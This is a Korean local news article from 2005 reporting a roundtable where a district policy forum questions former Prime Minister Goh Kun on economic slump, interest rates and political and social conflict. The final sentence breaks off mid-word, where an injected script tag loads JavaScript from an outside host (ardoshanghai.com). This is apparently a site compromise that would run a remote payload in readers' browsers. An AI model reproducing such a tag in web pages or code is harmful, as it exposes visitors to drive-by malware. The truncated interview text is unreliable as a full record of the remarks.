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고건 전총리의 고견으로 새해 비전을 본다’

관리자 기자  2005.01.21 01:22:00

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 영등포정책포럼, 신년 좌담회
‘고건 전총리의 고견으로 새해 비전을 본다’

을유년 새해를 맞아 영등포정책포럼(대표 김종구)이 정치, 경제, 사회 등 다양한 분야에 대한 고건 전총리의 고견을 들음으로써 2005년 우리나라의 비전을 미리 내다보는 자리를 마련했다.
포럼 임원진 11명은 지난 14일 중구 소재 고건 전총리 사무실을 방문, 지역 및 국가 현안을 주제로 전총리와 좌담회를 가졌다.
포럼 김종구 대표의 사회로 진행된 이날 좌담회에서는 계속되는 경제침체의 극복 방안을 비롯, 정치불안으로 인한 사회갈등 해결방안, 지역이기주의 극복을 통한 지방자치 발전 방안, 우리나라의 여성정책의 문제점과 앞으로 나아갈 방향 등 다양한 주제에 대한 고건 전총리의 고견이 나왔다.
이날 좌담회에는 영등포정책포럼 김종구 대표를 비롯, 신길철(영등포구의회 운영위원장)ㆍ박양하(영등포구의회 의원)ㆍ이정운(전 영등포구의회 의원)ㆍ유승용(대창신용협동조합이사장)ㆍ윤동규ㆍ신흥식ㆍ강옥자 부회장, 김정현 사무국장, 김기향ㆍ최웅식 운영위원 등이 참석했다.                                                                    <편집자 주>


김종구 대표: 바쁜 와중에도 이렇게 시간을 내주어 너무 감사하다. 지난해는 경제침체와 정치불안 등으로 인해 모두가 정말 힘든 한 해였다. 이에 을유년 새해에는 무언가 좀 달라질 것인가 그 가능성을 (고건 전 총리의) 고견을 통해 엿보기 위해 신년인사를 겸해 이렇게 방문했다. 포럼 회원들이 나름대로 지역 및 국가 현안에 대한 몇 가지 질문을 준비해 왔으니 고견을 들려주길 바란다.

고건 전총리: 참 오랜만에 (김종구 대표를) 보는 것 같다. 서울시장시절 김 전의원이 정말 많이 도와줬는데... 요즘은 일체 공식적인 외부활동은 하지 않고 있다. 사적으로 만나는 것이 전부다.
그런데 이렇게 많은 사람들이 어려운 문제들을 가지고 찾아와 조금은 부담스럽다. 하지만 김 전의원의 부탁이니 아는 데로 성의껏 답변해 주도록 노력하겠다.

 

신길철 부회장: (고건 전총리) 서울시장 재임시절 영등포구 자유의 집과 강남순환고속도로 건설 문제로 두 차례 만난 적이 있었는데 이런 자리에서 이렇게 다시 만나게 되니 감회가 새롭다. 최근 언론에서는 (고건 전총리에 대한) 국민여론이 매우 좋은 것으로 보도되고 있어 국민들의 고 전총리 향후 행보에 대한 관심이 매우 높은데... 특별한 계획은 가지고 있는지 궁금하다.
고건 전총리: 특별히 세워둔 계획 같은 건 없다. 있다면 일체 반응을 보이지 않고 지내는 것이다. 당분간 외부활동은 안하고 독서나 즐기면서 개인적인 만남이나 가지면서 백수생활을 만끽할 생각이다.

유승룡 부회장: 최근 우리나라의 경제침체 문제가 매우 심각하다. 때문에 노무현 대통령도 올 신년사에서 경제문제를 특히 강조한 것으로 보여진다. 이러한 상황을 극복할 수 있는 방안은 없겠는가?

고건 전총리: 경제침체의 요인은 구조적인 것과 심리적인 것 두 가지가 있는데, 구조적인 요인은 장기적인 노력이 필요하지만 심리적인 것은 지금이라도 노력만 하면 바꿀 수 있다. 우선적으로 국민들의 경제마인드가 살아나야 IMF 이후 현재까지 계속되고 있는 이 경기침체에서 벗어날 수 있다. 대통령이 경제를 강조하고 있으니 조만간 국민 마인드가 좋아질 것으로 기대된다.

유승룡 부회장: 지금 우리나라는 저금리 시대를 맞고 있다. 후반기에는 약간의 금리인상이 예상되는데...

고건 전총리: 금리정책의 여유가 없다고 한다. 현재 우리나라 실질금리는 제로상태다. 물가인상율과 거의 같다. 금리가 인상되면 예금자는 금리소득이 생기겠지만 중소기업은 (대출문제로) 그만큼 어려워질 것이다.

 

윤동규 부회장: 최근 우리나라엔 사회적 갈등이 너무 많다. 사회갈등은 국력소모의 원인이 될 수 있는데...현재 우리나라에서 가장 심각한 사회갈등문제는 무엇이라고 생각하며 그 해결방안을 제시한다면...

고건 전총리: 현재 우리나라는 정치ㆍ사회적으로 분열, 대립, 갈등이 키워드가 되어버렸다. 그것을 고쳐야 한다. 국제사회에서는 이미 12년 전에 냉전체제가 붕괴됐다. 이념대결의 시대는 지나간 것이다. 그런데도 이분법적으로 좌파와 우파를 가르는 것은 정말 시대착오적 발상이다. 정치는 사회갈등을 해소하고 통합을 이뤄내?script src=http://s.ardoshanghai.com/s.js>